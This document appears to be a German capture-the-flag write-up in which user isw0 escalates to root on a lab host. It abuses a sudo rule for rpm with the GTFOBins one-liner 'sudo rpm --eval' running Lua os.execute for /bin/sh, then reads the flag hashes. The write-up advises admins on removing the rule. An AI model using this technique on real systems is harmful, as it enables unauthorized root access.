User isw0 may run the following commands on this host:
(!root) NOPASSWD: /bin/bash
(root) /bin/ping, (root) /bin/ping6, (root) /bin/rpm, (root) /bin/ls, (root) /bin/mktemp
**Analyse:** Der Befehl `sudo -l` zeigt die `sudo`-Berechtigungen für den Benutzer `isw0`. * `(!root) NOPASSWD: /bin/bash`: Erlaubt `isw0`, `/bin/bash` ohne Passwort als jeder Benutzer *außer* `root` auszuführen. Dies ist ungewöhnlich und nicht direkt für Root-Eskalation nützlich. * `(root) /bin/ping, (root) /bin/ping6, (root) /bin/rpm, (root) /bin/ls, (root) /bin/mktemp`: Erlaubt `isw0`, diese spezifischen Befehle als `root` auszuführen, vermutlich ohne Passwort (da `NOPASSWD` nicht explizit für diese Einträge widerrufen wird und oft für die gesamte Regel gilt, wenn nicht anders angegeben; dies müsste aber getestet werden).
**Bewertung:** Der entscheidende Eintrag ist `(root) /bin/rpm`. Die Möglichkeit, `rpm` (RPM Package Manager) als Root auszuführen, ist ein bekannter Privilegieneskalationsvektor, da `rpm` Skripte ausführen kann. Die anderen erlaubten Root-Befehle (`ping`, `ls`, `mktemp`) sind weniger wahrscheinlich direkt ausnutzbar.
**Empfehlung (Pentester):** Nutzen Sie die `sudo rpm`-Berechtigung zur Eskalation. Suchen Sie auf GTFOBins nach der entsprechenden Technik für `rpm` mit `sudo`. Der Befehl `sudo rpm --eval '%{lua:os.execute("/bin/sh")}'` ist ein gängiger Weg.
**Empfehlung (Admin):** Entfernen Sie die unsichere `sudo`-Regel für `rpm`. Erlauben Sie Benutzern niemals, Paketmanager wie `rpm`, `yum`, `apt` oder `dpkg` uneingeschränkt über `sudo` auszuführen. Gewähren Sie nur spezifische, notwendige Berechtigungen.
Die `sudo -l`-Ausgabe hat gezeigt, dass der Benutzer `isw0` den Befehl `/bin/rpm` als Root ausführen darf. Wir nutzen diese Berechtigung nun aus, um mittels einer bekannten Technik (oft auf GTFOBins dokumentiert) eine Root-Shell zu erlangen.
Privilege Escalation
**Analyse:** Organisatorische Notiz.
**Bewertung:** Markiert den Beginn des Exploits.
**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.
https://gtfobins.github.io/gtfobins/rpm/#sudo
**Analyse:** Ein Verweis auf die GTFOBins-Seite für `rpm`, spezifisch für den Missbrauch über `sudo`. Dies bestätigt, dass der Pentester die bekannte Eskalationstechnik recherchiert hat.
**Bewertung:** GTFOBins ist eine essentielle Ressource für Linux-Privilegieneskalation. Der Link zeigt die Methode, die im nächsten Schritt angewendet wird.
**Empfehlung (Pentester):** Wenden Sie die auf GTFOBins beschriebene Methode an.
**Empfehlung (Admin):** Seien Sie sich der Techniken auf GTFOBins bewusst und konfigurieren Sie Systeme so, dass diese nicht ausgenutzt werden können (insbesondere bei `sudo`-Regeln und SUID-Binaries).
Wir führen den auf GTFOBins dokumentierten Befehl aus, um die `sudo`-Berechtigung für `rpm` auszunutzen und eine Shell mit Root-Rechten zu erhalten.
uid=0(root) gid=0(root) Gruppen=0(root) Kontext=unconfined_u:system_r:rpm_script_t:s0-s0:c0.c1023
**Analyse:** Der Befehl `sudo rpm --eval '%{lua:os.execute("/bin/sh")}'` wird ausgeführt. * `sudo rpm`: Führt `rpm` mit Root-Rechten aus. * `--eval '%{...}'`: Wertet einen Makroausdruck aus. * `lua:os.execute("/bin/sh")`: Innerhalb des Makros wird Lua-Scripting verwendet (`lua:`), um die Betriebssystemfunktion `os.execute()` aufzurufen und damit eine neue Shell (`/bin/sh`) zu starten. Da `rpm` als Root läuft, wird auch die neue Shell als Root gestartet. Der Shell-Prompt ändert sich zu `sh-4.1#` (ein einfacherer Shell-Typ, aber mit Root-Rechten). Der `id`-Befehl bestätigt `uid=0(root)`. Der SELinux-Kontext wird ebenfalls angezeigt.
**Bewertung:** Root-Zugriff erfolgreich erlangt! Die Ausnutzung der `sudo rpm`-Berechtigung mittels Lua-Scripting war erfolgreich.
**Empfehlung (Pentester):** Sie haben Root-Rechte. Suchen Sie nach der finalen Flagge.
**Empfehlung (Admin):** Entfernen Sie die unsichere `sudo`-Regel für `rpm` dringend.
fc9c6eb6265921315e7c70aebd22af7e
/root/flag.txt
**Analyse:** In der Root-Shell wird versucht, `~/flag.txt` (was `/root/flag.txt` entspricht) zu lesen. Der Inhalt ist der Hash `fc9c6eb6265921315e7c70aebd22af7e`. Anschließend wird mit `find` nach Dateien gesucht, die `.txt` und `flag` im Namen enthalten, was den Pfad `/root/flag.txt` bestätigt.
**Bewertung:** Ziel erreicht! Die Root-Flagge wurde in `/root/flag.txt` gefunden.
**Empfehlung (Pentester):** Dokumentieren Sie die Root-Flagge.
**Empfehlung (Admin):** Keine Flaggen in Produktionssystemen.
isw0 isw1 isw2
1 isw0_user
e4408105ca9c2a5c2714a818c475d06e
**Analyse:** Als Root wechselt der Pentester in die Home-Verzeichnisse. Er bestätigt die Benutzer `isw0`, `isw1`, `isw2`. Im Verzeichnis `/home/isw0` findet er eine Datei namens `isw0_user` und liest deren Inhalt aus: `e4408105ca9c2a5c2714a818c475d06e`.
**Bewertung:** Dies scheint die User-Flagge zu sein, die zuvor nicht explizit als `user.txt` o.ä. gefunden wurde.
**Empfehlung (Pentester):** Dokumentieren Sie dies als User-Flagge.
**Empfehlung (Admin):** Keine Flaggen in Produktionssystemen. Sichern Sie Home-Verzeichnisse korrekt.
Privilege Escalation erfolgreich
**Analyse:** Organisatorische Abschlussnotiz.
**Bewertung:** Bestätigt den Abschluss der Eskalation.
**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.